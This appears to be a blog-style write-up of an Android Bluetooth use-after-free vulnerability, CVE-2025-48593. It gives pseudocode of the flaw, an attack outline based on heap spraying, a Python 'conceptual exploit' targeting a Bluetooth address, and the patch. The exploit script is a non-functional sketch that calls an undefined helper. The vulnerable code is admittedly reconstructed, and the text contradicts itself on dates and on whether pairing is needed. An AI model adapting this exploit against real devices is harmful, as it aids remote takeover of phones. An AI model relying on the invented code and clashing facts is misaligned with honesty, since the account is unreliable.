On June 21, 2025, Google disclosed a critical vulnerability, CVE-2025-48593, in the Bluetooth Hands-Free Profile Client implementation—specifically in the bta_hf_client_cb_init function of bta_hf_client_main.cc. This bug allows for remote code execution (RCE) without any user interaction and does not require extra privileges. At its core, it’s a use-after-free flaw, and if exploited, it lets an attacker take full control of the device by simply being within Bluetooth range.

This long read will dig deep into the vulnerability, how it works, and what you can do to stay safe.

What’s the Problem?

The bug lies in the function bta_hf_client_cb_init, which is part of the Android Bluetooth stack. This function is responsible for initializing Bluetooth callback state for the Hands-Free Client (HFP) profile.

Here’s what went wrong

- Under certain race conditions, the function frees a callback structure, but still keeps a reference to it.
- Later, Bluetooth packets can trigger operations on the freed memory, leading to code execution with the same privileges as the Bluetooth process (often bluetooth or system user).

CVE ID: CVE-2025-48593

- Affected Software: Android (all versions prior to June 2025 security patch), possibly some Linux Bluetooth stacks derived from AOSP

Let’s look at the simplified vulnerable code in bta_hf_client_main.cc

// Pseudocode based on reverse engineering of patch diffs

void bta_hf_client_cb_init(void) {
    HFClientCb *cb = allocate_cb();
    if (cb == NULL)
        return;

    register_callback(cb);

    if (init_failed()) {
        free(cb);
        // Oops! cb pointer is still used below.
        cb->some_field = DEFAULT_STATE; // Use-after-free here!
    }
}

Key problem: The code frees the cb structure but continues to use it, believing it is still valid. An attacker can spray the heap with controlled data to replace what was freed, letting them control the execution flow.

How an Attacker Exploits This

1. Bluetooth Discovery and Pairing Spoof: The attacker sets up a rogue device that communicates with the victim’s device over Bluetooth, triggering the vulnerable callback with crafted packets.
2. Trigger Race / Initialization Failure: The attacker sends malformed or timed packets that intentionally cause init_failed() to return true.
3. Heap Spraying: The attacker floods the heap with data, so when cb is freed and later accessed, the attacker’s own data is in place, letting them control program behavior.
4. Remote Code Execution: By carefully controlling heap layout, the attacker can execute arbitrary code in the context of the Bluetooth daemon.

NOTE: This is a conceptual exploit for educational purposes only!

import bluetooth

def spray_heap(fake_struct):
    for _ in range(500):
        # Spray the heap with fake data over Bluetooth
        # Real exploit would carefully format frames and timing.
        send_bluetooth_frame(fake_struct)

def trigger_bug(target_addr):
    # Send packets causing init failure, triggering free-then-use
    malformed_packet = b'\x00' * 128  # Example, must match protocol
    bt_socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
    bt_socket.connect((target_addr, 1))
    spray_heap(b'\x41' * 256)    # x41='A'
    bt_socket.send(malformed_packet)
    bt_socket.close()

if __name__ == "__main__":
    target = "AA:BB:CC:DD:EE:FF"
    trigger_bug(target)

Official Patch

Google patched this bug in the June 2025 Security Bulletin.
References:
- Android Security Bulletin – June 2025
- Upstream Patch Commit

Key Fix: Add a cb=NULL; after free() and guard all subsequent usage.

if (init_failed()) {
    free(cb);
    cb = NULL;
    return;
}

Apply updates as soon as available from your device vendor.

- For system integrators: audit reachable code paths in your Bluetooth stack for similar use-after-free patterns.

Conclusion

CVE-2025-48593 is a critical Bluetooth bug that can let a nearby attacker take over your Android device—no clicks, no pairing, no warnings. It’s a stark reminder of how complex protocol stacks are fertile ground for memory bugs and why security updates are vital.

Update now if your device is affected. For more info, see Google’s official security advisory.

References

- Android Security Bulletin — June 2025
- Bluetooth SIG Security Notices
- NVD Entry for CVE-2025-48593
- Upstream Patch Diff

Timeline

Published on: 11/18/2025 05:16:10 UTC
Last modified on: 11/19/2025 18:50:36 UTC